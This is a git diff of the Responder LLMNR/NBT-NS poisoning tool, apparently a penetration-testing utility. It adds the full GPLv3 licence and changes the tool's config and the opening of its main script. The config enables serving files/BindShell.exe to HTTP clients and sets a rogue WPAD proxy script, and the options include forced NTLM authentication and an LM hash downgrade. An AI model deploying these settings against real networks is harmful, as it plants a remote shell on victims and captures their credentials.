diff --git a/LICENSE b/LICENSE
new file mode 100644
index 0000000..94a9ed0
--- /dev/null
+++ b/LICENSE
@@ -0,0 +1,674 @@
+                    GNU GENERAL PUBLIC LICENSE
+                       Version 3, 29 June 2007
+
+ Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+                            Preamble
+
+  The GNU General Public License is a free, copyleft license for
+software and other kinds of works.
+
+  The licenses for most software and other practical works are designed
+to take away your freedom to share and change the works.  By contrast,
+the GNU General Public License is intended to guarantee your freedom to
+share and change all versions of a program--to make sure it remains free
+software for all its users.  We, the Free Software Foundation, use the
+GNU General Public License for most of our software; it applies also to
+any other work released this way by its authors.  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+them if you wish), that you receive source code or can get it if you
+want it, that you can change the software or use pieces of it in new
+free programs, and that you know you can do these things.
+
+  To protect your rights, we need to prevent others from denying you
+these rights or asking you to surrender the rights.  Therefore, you have
+certain responsibilities if you distribute copies of the software, or if
+you modify it: responsibilities to respect the freedom of others.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must pass on to the recipients the same
+freedoms that you received.  You must make sure that they, too, receive
+or can get the source code.  And you must show them these terms so they
+know their rights.
+
+  Developers that use the GNU GPL protect your rights with two steps:
+(1) assert copyright on the software, and (2) offer you this License
+giving you legal permission to copy, distribute and/or modify it.
+
+  For the developers' and authors' protection, the GPL clearly explains
+that there is no warranty for this free software.  For both users' and
+authors' sake, the GPL requires that modified versions be marked as
+changed, so that their problems will not be attributed erroneously to
+authors of previous versions.
+
+  Some devices are designed to deny users access to install or run
+modified versions of the software inside them, although the manufacturer
+can do so.  This is fundamentally incompatible with the aim of
+protecting users' freedom to change the software.  The systematic
+pattern of such abuse occurs in the area of products for individuals to
+use, which is precisely where it is most unacceptable.  Therefore, we
+have designed this version of the GPL to prohibit the practice for those
+products.  If such problems arise substantially in other domains, we
+stand ready to extend this provision to those domains in future versions
+of the GPL, as needed to protect the freedom of users.
+
+  Finally, every program is threatened constantly by software patents.
+States should not allow patents to restrict development and use of
+software on general-purpose computers, but in those that do, we wish to
+avoid the special danger that patents applied to a free program could
+make it effectively proprietary.  To prevent this, the GPL assures that
+patents cannot be used to render the program non-free.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+                       TERMS AND CONDITIONS
+
+  0. Definitions.
+
+  "This License" refers to version 3 of the GNU General Public License.
+
+  "Copyright" also means copyright-like laws that apply to other kinds of
+works, such as semiconductor masks.
+
+  "The Program" refers to any copyrightable work licensed under this
+License.  Each licensee is addressed as "you".  "Licensees" and
+"recipients" may be individuals or organizations.
+
+  To "modify" a work means to copy from or adapt all or part of the work
+in a fashion requiring copyright permission, other than the making of an
+exact copy.  The resulting work is called a "modified version" of the
+earlier work or a work "based on" the earlier work.
+
+  A "covered work" means either the unmodified Program or a work based
+on the Program.
+
+  To "propagate" a work means to do anything with it that, without
+permission, would make you directly or secondarily liable for
+infringement under applicable copyright law, except executing it on a
+computer or modifying a private copy.  Propagation includes copying,
+distribution (with or without modification), making available to the
+public, and in some countries other activities as well.
+
+  To "convey" a work means any kind of propagation that enables other
+parties to make or receive copies.  Mere interaction with a user through
+a computer network, with no transfer of a copy, is not conveying.
+
+  An interactive user interface displays "Appropriate Legal Notices"
+to the extent that it includes a convenient and prominently visible
+feature that (1) displays an appropriate copyright notice, and (2)
+tells the user that there is no warranty for the work (except to the
+extent that warranties are provided), that licensees may convey the
+work under this License, and how to view a copy of this License.  If
+the interface presents a list of user commands or options, such as a
+menu, a prominent item in the list meets this criterion.
+
+  1. Source Code.
+
+  The "source code" for a work means the preferred form of the work
+for making modifications to it.  "Object code" means any non-source
+form of a work.
+
+  A "Standard Interface" means an interface that either is an official
+standard defined by a recognized standards body, or, in the case of
+interfaces specified for a particular programming language, one that
+is widely used among developers working in that language.
+
+  The "System Libraries" of an executable work include anything, other
+than the work as a whole, that (a) is included in the normal form of
+packaging a Major Component, but which is not part of that Major
+Component, and (b) serves only to enable use of the work with that
+Major Component, or to implement a Standard Interface for which an
+implementation is available to the public in source code form.  A
+"Major Component", in this context, means a major essential component
+(kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to
+produce the work, or an object code interpreter used to run it.
+
+  The "Corresponding Source" for a work in object code form means all
+the source code needed to generate, install, and (for an executable
+work) run the object code and to modify the work, including scripts to
+control those activities.  However, it does not include the work's
+System Libraries, or general-purpose tools or generally available free
+programs which are used unmodified in performing those activities but
+which are not part of the work.  For example, Corresponding Source
+includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically
+linked subprograms that the work is specifically designed to require,
+such as by intimate data communication or control flow between those
+subprograms and other parts of the work.
+
+  The Corresponding Source need not include anything that users
+can regenerate automatically from other parts of the Corresponding
+Source.
+
+  The Corresponding Source for a work in source code form is that
+same work.
+
+  2. Basic Permissions.
+
+  All rights granted under this License are granted for the term of
+copyright on the Program, and are irrevocable provided the stated
+conditions are met.  This License explicitly affirms your unlimited
+permission to run the unmodified Program.  The output from running a
+covered work is covered by this License only if the output, given its
+content, constitutes a covered work.  This License acknowledges your
+rights of fair use or other equivalent, as provided by copyright law.
+
+  You may make, run and propagate covered works that you do not
+convey, without conditions so long as your license otherwise remains
+in force.  You may convey covered works to others for the sole purpose
+of having them make modifications exclusively for you, or provide you
+with facilities for running those works, provided that you comply with
+the terms of this License in conveying all material for which you do
+not control copyright.  Those thus making or running the covered works
+for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of
+your copyrighted material outside their relationship with you.
+
+  Conveying under any other circumstances is permitted solely under
+the conditions stated below.  Sublicensing is not allowed; section 10
+makes it unnecessary.
+
+  3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+  No covered work shall be deemed part of an effective technological
+measure under any applicable law fulfilling obligations under article
+11 of the WIPO copyright treaty adopted on 20 December 1996, or
+similar laws prohibiting or restricting circumvention of such
+measures.
+
+  When you convey a covered work, you waive any legal power to forbid
+circumvention of technological measures to the extent such circumvention
+is effected by exercising rights under this License with respect to
+the covered work, and you disclaim any intention to limit operation or
+modification of the work as a means of enforcing, against the work's
+users, your or third parties' legal rights to forbid circumvention of
+technological measures.
+
+  4. Conveying Verbatim Copies.
+
+  You may convey verbatim copies of the Program's source code as you
+receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice;
+keep intact all notices stating that this License and any
+non-permissive terms added in accord with section 7 apply to the code;
+keep intact all notices of the absence of any warranty; and give all
+recipients a copy of this License along with the Program.
+
+  You may charge any price or no price for each copy that you convey,
+and you may offer support or warranty protection for a fee.
+
+  5. Conveying Modified Source Versions.
+
+  You may convey a work based on the Program, or the modifications to
+produce it from the Program, in the form of source code under the
+terms of section 4, provided that you also meet all of these conditions:
+
+    a) The work must carry prominent notices stating that you modified
+    it, and giving a relevant date.
+
+    b) The work must carry prominent notices stating that it is
+    released under this License and any conditions added under section
+    7.  This requirement modifies the requirement in section 4 to
+    "keep intact all notices".
+
+    c) You must license the entire work, as a whole, under this
+    License to anyone who comes into possession of a copy.  This
+    License will therefore apply, along with any applicable section 7
+    additional terms, to the whole of the work, and all its parts,
+    regardless of how they are packaged.  This License gives no
+    permission to license the work in any other way, but it does not
+    invalidate such permission if you have separately received it.
+
+    d) If the work has interactive user interfaces, each must display
+    Appropriate Legal Notices; however, if the Program has interactive
+    interfaces that do not display Appropriate Legal Notices, your
+    work need not make them do so.
+
+  A compilation of a covered work with other separate and independent
+works, which are not by their nature extensions of the covered work,
+and which are not combined with it such as to form a larger program,
+in or on a volume of a storage or distribution medium, is called an
+"aggregate" if the compilation and its resulting copyright are not
+used to limit the access or legal rights of the compilation's users
+beyond what the individual works permit.  Inclusion of a covered work
+in an aggregate does not cause this License to apply to the other
+parts of the aggregate.
+
+  6. Conveying Non-Source Forms.
+
+  You may convey a covered work in object code form under the terms
+of sections 4 and 5, provided that you also convey the
+machine-readable Corresponding Source under the terms of this License,
+in one of these ways:
+
+    a) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by the
+    Corresponding Source fixed on a durable physical medium
+    customarily used for software interchange.
+
+    b) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by a
+    written offer, valid for at least three years and valid for as
+    long as you offer spare parts or customer support for that product
+    model, to give anyone who possesses the object code either (1) a
+    copy of the Corresponding Source for all the software in the
+    product that is covered by this License, on a durable physical
+    medium customarily used for software interchange, for a price no
+    more than your reasonable cost of physically performing this
+    conveying of source, or (2) access to copy the
+    Corresponding Source from a network server at no charge.
+
+    c) Convey individual copies of the object code with a copy of the
+    written offer to provide the Corresponding Source.  This
+    alternative is allowed only occasionally and noncommercially, and
+    only if you received the object code with such an offer, in accord
+    with subsection 6b.
+
+    d) Convey the object code by offering access from a designated
+    place (gratis or for a charge), and offer equivalent access to the
+    Corresponding Source in the same way through the same place at no
+    further charge.  You need not require recipients to copy the
+    Corresponding Source along with the object code.  If the place to
+    copy the object code is a network server, the Corresponding Source
+    may be on a different server (operated by you or a third party)
+    that supports equivalent copying facilities, provided you maintain
+    clear directions next to the object code saying where to find the
+    Corresponding Source.  Regardless of what server hosts the
+    Corresponding Source, you remain obligated to ensure that it is
+    available for as long as needed to satisfy these requirements.
+
+    e) Convey the object code using peer-to-peer transmission, provided
+    you inform other peers where the object code and Corresponding
+    Source of the work are being offered to the general public at no
+    charge under subsection 6d.
+
+  A separable portion of the object code, whose source code is excluded
+from the Corresponding Source as a System Library, need not be
+included in conveying the object code work.
+
+  A "User Product" is either (1) a "consumer product", which means any
+tangible personal property which is normally used for personal, family,
+or household purposes, or (2) anything designed or sold for incorporation
+into a dwelling.  In determining whether a product is a consumer product,
+doubtful cases shall be resolved in favor of coverage.  For a particular
+product received by a particular user, "normally used" refers to a
+typical or common use of that class of product, regardless of the status
+of the particular user or of the way in which the particular user
+actually uses, or expects or is expected to use, the product.  A product
+is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent
+the only significant mode of use of the product.
+
+  "Installation Information" for a User Product means any methods,
+procedures, authorization keys, or other information required to install
+and execute modified versions of a covered work in that User Product from
+a modified version of its Corresponding Source.  The information must
+suffice to ensure that the continued functioning of the modified object
+code is in no case prevented or interfered with solely because
+modification has been made.
+
+  If you convey an object code work under this section in, or with, or
+specifically for use in, a User Product, and the conveying occurs as
+part of a transaction in which the right of possession and use of the
+User Product is transferred to the recipient in perpetuity or for a
+fixed term (regardless of how the transaction is characterized), the
+Corresponding Source conveyed under this section must be accompanied
+by the Installation Information.  But this requirement does not apply
+if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has
+been installed in ROM).
+
+  The requirement to provide Installation Information does not include a
+requirement to continue to provide support service, warranty, or updates
+for a work that has been modified or installed by the recipient, or for
+the User Product in which it has been modified or installed.  Access to a
+network may be denied when the modification itself materially and
+adversely affects the operation of the network or violates the rules and
+protocols for communication across the network.
+
+  Corresponding Source conveyed, and Installation Information provided,
+in accord with this section must be in a format that is publicly
+documented (and with an implementation available to the public in
+source code form), and must require no special password or key for
+unpacking, reading or copying.
+
+  7. Additional Terms.
+
+  "Additional permissions" are terms that supplement the terms of this
+License by making exceptions from one or more of its conditions.
+Additional permissions that are applicable to the entire Program shall
+be treated as though they were included in this License, to the extent
+that they are valid under applicable law.  If additional permissions
+apply only to part of the Program, that part may be used separately
+under those permissions, but the entire Program remains governed by
+this License without regard to the additional permissions.
+
+  When you convey a copy of a covered work, you may at your option
+remove any additional permissions from that copy, or from any part of
+it.  (Additional permissions may be written to require their own
+removal in certain cases when you modify the work.)  You may place
+additional permissions on material, added by you to a covered work,
+for which you have or can give appropriate copyright permission.
+
+  Notwithstanding any other provision of this License, for material you
+add to a covered work, you may (if authorized by the copyright holders of
+that material) supplement the terms of this License with terms:
+
+    a) Disclaiming warranty or limiting liability differently from the
+    terms of sections 15 and 16 of this License; or
+
+    b) Requiring preservation of specified reasonable legal notices or
+    author attributions in that material or in the Appropriate Legal
+    Notices displayed by works containing it; or
+
+    c) Prohibiting misrepresentation of the origin of that material, or
+    requiring that modified versions of such material be marked in
+    reasonable ways as different from the original version; or
+
+    d) Limiting the use for publicity purposes of names of licensors or
+    authors of the material; or
+
+    e) Declining to grant rights under trademark law for use of some
+    trade names, trademarks, or service marks; or
+
+    f) Requiring indemnification of licensors and authors of that
+    material by anyone who conveys the material (or modified versions of
+    it) with contractual assumptions of liability to the recipient, for
+    any liability that these contractual assumptions directly impose on
+    those licensors and authors.
+
+  All other non-permissive additional terms are considered "further
+restrictions" within the meaning of section 10.  If the Program as you
+received it, or any part of it, contains a notice stating that it is
+governed by this License along with a term that is a further
+restriction, you may remove that term.  If a license document contains
+a further restriction but permits relicensing or conveying under this
+License, you may add to a covered work material governed by the terms
+of that license document, provided that the further restriction does
+not survive such relicensing or conveying.
+
+  If you add terms to a covered work in accord with this section, you
+must place, in the relevant source files, a statement of the
+additional terms that apply to those files, or a notice indicating
+where to find the applicable terms.
+
+  Additional terms, permissive or non-permissive, may be stated in the
+form of a separately written license, or stated as exceptions;
+the above requirements apply either way.
+
+  8. Termination.
+
+  You may not propagate or modify a covered work except as expressly
+provided under this License.  Any attempt otherwise to propagate or
+modify it is void, and will automatically terminate your rights under
+this License (including any patent licenses granted under the third
+paragraph of section 11).
+
+  However, if you cease all violation of this License, then your
+license from a particular copyright holder is reinstated (a)
+provisionally, unless and until the copyright holder explicitly and
+finally terminates your license, and (b) permanently, if the copyright
+holder fails to notify you of the violation by some reasonable means
+prior to 60 days after the cessation.
+
+  Moreover, your license from a particular copyright holder is
+reinstated permanently if the copyright holder notifies you of the
+violation by some reasonable means, this is the first time you have
+received notice of violation of this License (for any work) from that
+copyright holder, and you cure the violation prior to 30 days after
+your receipt of the notice.
+
+  Termination of your rights under this section does not terminate the
+licenses of parties who have received copies or rights from you under
+this License.  If your rights have been terminated and not permanently
+reinstated, you do not qualify to receive new licenses for the same
+material under section 10.
+
+  9. Acceptance Not Required for Having Copies.
+
+  You are not required to accept this License in order to receive or
+run a copy of the Program.  Ancillary propagation of a covered work
+occurring solely as a consequence of using peer-to-peer transmission
+to receive a copy likewise does not require acceptance.  However,
+nothing other than this License grants you permission to propagate or
+modify any covered work.  These actions infringe copyright if you do
+not accept this License.  Therefore, by modifying or propagating a
+covered work, you indicate your acceptance of this License to do so.
+
+  10. Automatic Licensing of Downstream Recipients.
+
+  Each time you convey a covered work, the recipient automatically
+receives a license from the original licensors, to run, modify and
+propagate that work, subject to this License.  You are not responsible
+for enforcing compliance by third parties with this License.
+
+  An "entity transaction" is a transaction transferring control of an
+organization, or substantially all assets of one, or subdividing an
+organization, or merging organizations.  If propagation of a covered
+work results from an entity transaction, each party to that
+transaction who receives a copy of the work also receives whatever
+licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the
+Corresponding Source of the work from the predecessor in interest, if
+the predecessor has it or can get it with reasonable efforts.
+
+  You may not impose any further restrictions on the exercise of the
+rights granted or affirmed under this License.  For example, you may
+not impose a license fee, royalty, or other charge for exercise of
+rights granted under this License, and you may not initiate litigation
+(including a cross-claim or counterclaim in a lawsuit) alleging that
+any patent claim is infringed by making, using, selling, offering for
+sale, or importing the Program or any portion of it.
+
+  11. Patents.
+
+  A "contributor" is a copyright holder who authorizes use under this
+License of the Program or a work on which the Program is based.  The
+work thus licensed is called the contributor's "contributor version".
+
+  A contributor's "essential patent claims" are all patent claims
+owned or controlled by the contributor, whether already acquired or
+hereafter acquired, that would be infringed by some manner, permitted
+by this License, of making, using, or selling its contributor version,
+but do not include claims that would be infringed only as a
+consequence of further modification of the contributor version.  For
+purposes of this definition, "control" includes the right to grant
+patent sublicenses in a manner consistent with the requirements of
+this License.
+
+  Each contributor grants you a non-exclusive, worldwide, royalty-free
+patent license under the contributor's essential patent claims, to
+make, use, sell, offer for sale, import and otherwise run, modify and
+propagate the contents of its contributor version.
+
+  In the following three paragraphs, a "patent license" is any express
+agreement or commitment, however denominated, not to enforce a patent
+(such as an express permission to practice a patent or covenant not to
+sue for patent infringement).  To "grant" such a patent license to a
+party means to make such an agreement or commitment not to enforce a
+patent against the party.
+
+  If you convey a covered work, knowingly relying on a patent license,
+and the Corresponding Source of the work is not available for anyone
+to copy, free of charge and under the terms of this License, through a
+publicly available network server or other readily accessible means,
+then you must either (1) cause the Corresponding Source to be so
+available, or (2) arrange to deprive yourself of the benefit of the
+patent license for this particular work, or (3) arrange, in a manner
+consistent with the requirements of this License, to extend the patent
+license to downstream recipients.  "Knowingly relying" means you have
+actual knowledge that, but for the patent license, your conveying the
+covered work in a country, or your recipient's use of the covered work
+in a country, would infringe one or more identifiable patents in that
+country that you have reason to believe are valid.
+
+  If, pursuant to or in connection with a single transaction or
+arrangement, you convey, or propagate by procuring conveyance of, a
+covered work, and grant a patent license to some of the parties
+receiving the covered work authorizing them to use, propagate, modify
+or convey a specific copy of the covered work, then the patent license
+you grant is automatically extended to all recipients of the covered
+work and works based on it.
+
+  A patent license is "discriminatory" if it does not include within
+the scope of its coverage, prohibits the exercise of, or is
+conditioned on the non-exercise of one or more of the rights that are
+specifically granted under this License.  You may not convey a covered
+work if you are a party to an arrangement with a third party that is
+in the business of distributing software, under which you make payment
+to the third party based on the extent of your activity of conveying
+the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory
+patent license (a) in connection with copies of the covered work
+conveyed by you (or copies made from those copies), or (b) primarily
+for and in connection with specific products or compilations that
+contain the covered work, unless you entered into that arrangement,
+or that patent license was granted, prior to 28 March 2007.
+
+  Nothing in this License shall be construed as excluding or limiting
+any implied license or other defenses to infringement that may
+otherwise be available to you under applicable patent law.
+
+  12. No Surrender of Others' Freedom.
+
+  If conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot convey a
+covered work so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you may
+not convey it at all.  For example, if you agree to terms that obligate you
+to collect a royalty for further conveying from those to whom you convey
+the Program, the only way you could satisfy both those terms and this
+License would be to refrain entirely from conveying the Program.
+
+  13. Use with the GNU Affero General Public License.
+
+  Notwithstanding any other provision of this License, you have
+permission to link or combine any covered work with a work licensed
+under version 3 of the GNU Affero General Public License into a single
+combined work, and to convey the resulting work.  The terms of this
+License will continue to apply to the part which is the covered work,
+but the special requirements of the GNU Affero General Public License,
+section 13, concerning interaction through a network will apply to the
+combination as such.
+
+  14. Revised Versions of this License.
+
+  The Free Software Foundation may publish revised and/or new versions of
+the GNU General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+  Each version is given a distinguishing version number.  If the
+Program specifies that a certain numbered version of the GNU General
+Public License "or any later version" applies to it, you have the
+option of following the terms and conditions either of that numbered
+version or of any later version published by the Free Software
+Foundation.  If the Program does not specify a version number of the
+GNU General Public License, you may choose any version ever published
+by the Free Software Foundation.
+
+  If the Program specifies that a proxy can decide which future
+versions of the GNU General Public License can be used, that proxy's
+public statement of acceptance of a version permanently authorizes you
+to choose that version for the Program.
+
+  Later license versions may give you additional or different
+permissions.  However, no additional obligations are imposed on any
+author or copyright holder as a result of your choosing to follow a
+later version.
+
+  15. Disclaimer of Warranty.
+
+  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+  16. Limitation of Liability.
+
+  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+  17. Interpretation of Sections 15 and 16.
+
+  If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+                     END OF TERMS AND CONDITIONS
+
+            How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software: you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program.  If not, see <http://www.gnu.org/licenses/>.
+
+Also add information on how to contact you by electronic and paper mail.
+
+  If the program does terminal interaction, make it output a short
+notice like this when it starts in an interactive mode:
+
+    <program>  Copyright (C) <year>  <name of author>
+    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, your program's commands
+might be different; for a GUI interface, you would use an "about box".
+
+  You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU GPL, see
+<http://www.gnu.org/licenses/>.
+
+  The GNU General Public License does not permit incorporating your program
+into proprietary programs.  If your program is a subroutine library, you
+may consider it more useful to permit linking proprietary applications with
+the library.  If this is what you want to do, use the GNU Lesser General
+Public License instead of this License.  But first, please read
+<http://www.gnu.org/philosophy/why-not-lgpl.html>.
diff --git a/Responder.conf b/Responder.conf
index 30872db..6c99e23 100644
--- a/Responder.conf
+++ b/Responder.conf
@@ -19,17 +19,23 @@ Challenge = 1122334455667788
 ; Default log file
 SessionLog = logs/Responder-Session.log
 
+; Poisoiners log
+PoisonersLog = logs/Poisoners-Session.log
+
+; Analyze mode log
+AnalyzeLog = logs/Analyzer-Session.log
+
 ; Specific IP Addresses to respond to (default = All)
-; Example: RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
+; Example: RespondTo = 10.20.1.100-150, 10.20.3.10
 RespondTo =
 
 ; Specific NBT-NS/LLMNR names to respond to (default = All)
-; Example: RespondTo = WPAD,DEV,PROD,SQLINT
+; Example: RespondTo = WPAD, DEV, PROD, SQLINT
 RespondToName = 
 
 ; Specific IP Addresses not to respond to (default = None)
-; Example: DontRespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
-DontRespondTo = 192.168.56.1, 10.0.2.2
+; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10
+DontRespondTo = 192.168.183.1, 10.0.2.2, 127.0.0.0-254
 
 ; Specific NBT-NS/LLMNR names not to respond to (default = None)
 ; Example: DontRespondTo = NAC, IPS, IDS
@@ -38,17 +44,20 @@ DontRespondToName =
 
 [HTTP Server]
 
-; Set to On to always serve a specific file
+; Set to On to always serve the custom .exe regardless of the URL
 Serve-Always = Off
 
-; Set to On to serve an executable file each time a .exe is detected in an URL
-Serve-Exe = Off
+; Set to On to serve the custom .exe when the URL contains .exe
+Serve-Exe = On
+
+; Set to on to serve the custom HTML if the URL does not contain .exe
+Serve-Html = On
 
 ; Custom HTML to serve
-HtmlFilename = Denied.html
+HtmlFilename = files/AccedsDenied.html
 
 ; Custom EXE File to serve
-ExeFilename = FixInternet.exe
+ExeFilename = files/BindShell.exe
 
 ; Custom WPAD Script
 WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
diff --git a/Responder.py b/Responder.py
index f761c3b..dea8bca 100755
--- a/Responder.py
+++ b/Responder.py
@@ -1,7 +1,6 @@
-#! /usr/bin/env python
-# NBT-NS/LLMNR Responder
-# Created by Laurent Gaffie
-# Copyright (C) 2014 Trustwave Holdings, Inc.
+#!/usr/bin/env python
+# This file is part of Responder
+# Original work by Laurent Gaffie - Trustwave Holdings
 #
 # This program is free software: you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
@@ -15,13 +14,11 @@
 #
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
-
 import sys
 import optparse
 import socket
 import thread
 import time
-import logging
 import settings
 
 from SocketServer import TCPServer, UDPServer, ThreadingMixIn, StreamRequestHandler, BaseRequestHandler, BaseServer
@@ -29,10 +26,9 @@ from utils import *
 
 banner()
 
-parser = optparse.OptionParser(usage='python %prog -i 10.20.30.40 -w -r -f\nor:\npython %prog -i 10.20.30.40 -wrf', version=settings.__version__, prog=sys.argv[0])
+parser = optparse.OptionParser(usage='python %prog -I eth0 -w -r -f\nor:\npython %prog -I eth0 -wrf', version=settings.__version__, prog=sys.argv[0])
 parser.add_option('-A','--analyze',        action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False)
-parser.add_option('-i','--ip',             action="store",      help="The ip address to redirect the traffic to. (usually yours)", dest="Responder_IP", metavar="10.20.30.40")
-parser.add_option('-I','--interface',      action="store",      help="Network interface to use", dest="Interface", metavar="eth0", default="Not set")
+parser.add_option('-I','--interface',      action="store",      help="Network interface to use", dest="Interface", metavar="eth0", default=None)
 parser.add_option('-b', '--basic',         action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False)
 parser.add_option('-r', '--wredir',        action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False)
 parser.add_option('-d', '--NBTNSdomain',   action="store_true", help="Enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network. Default: False", dest="NBTNSDomain", default=False)
@@ -41,79 +37,27 @@ parser.add_option('-w','--wpad',           action="store_true", help="Start the
 parser.add_option('-u','--upstream-proxy', action="store",      help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None)
 parser.add_option('-F','--ForceWpadAuth',  action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False)
 parser.add_option('--lm',                  action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
-parser.add_option('-v',                    action="store_true", help="More verbose", dest="Verbose")
 options, args = parser.parse_args()
 
+if not os.geteuid() == 0:
+    print color("[!] Responder must be run as root.")
+    sys.exit(-1)
+
 settings.init()
 settings.Config.populate(options)
 
-# Logger
-logging.basicConfig(filename=settings.Config.Log1Filename,level=logging.INFO, format='%(asctime)s %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
-StartMessage = 'Responder Started\nCommand line args:%s' % (settings.Config.CommandLine)
-logging.warning(StartMessage)
+StartupMessage()
 
-logger2 = logging.getLogger('LLMNR/NBT-NS')
-logger2.addHandler(logging.FileHandler(settings.Config.Log2Filename,'w'))
-
-logger3 = logging.getLogger('Analyze LLMNR/NBT-NS')
-logger3.addHandler(logging.FileHandler(settings.Config.AnalyzeFilename,'a'))
-
-# Start up message
-enabled  = color('[ON]', 2, 1) + "\n"
-disabled = color('[OFF]', 1, 1) + "\n"
-
-Message = ""
-Message += color("[*] ", 2, 1) + "Poisoners:\n"
-Message += '    %-25s' % "LLMNR" + enabled
-Message += '    %-25s' % "NBT-NS" + enabled
-Message += '    %-25s' % "DNS/MDNS" + enabled + "\n"
-
-Message += color("[*] ", 2, 1) + "Servers:\n"
-Message += '    %-25s' % "HTTP server" + (enabled if settings.Config.HTTP_On_Off else disabled)
-Message += '    %-25s' % "HTTPS server" + (enabled if settings.Config.SSL_On_Off else disabled)
-Message += '    %-25s' % "WPAD proxy" + (enabled if settings.Config.WPAD_On_Off else disabled)
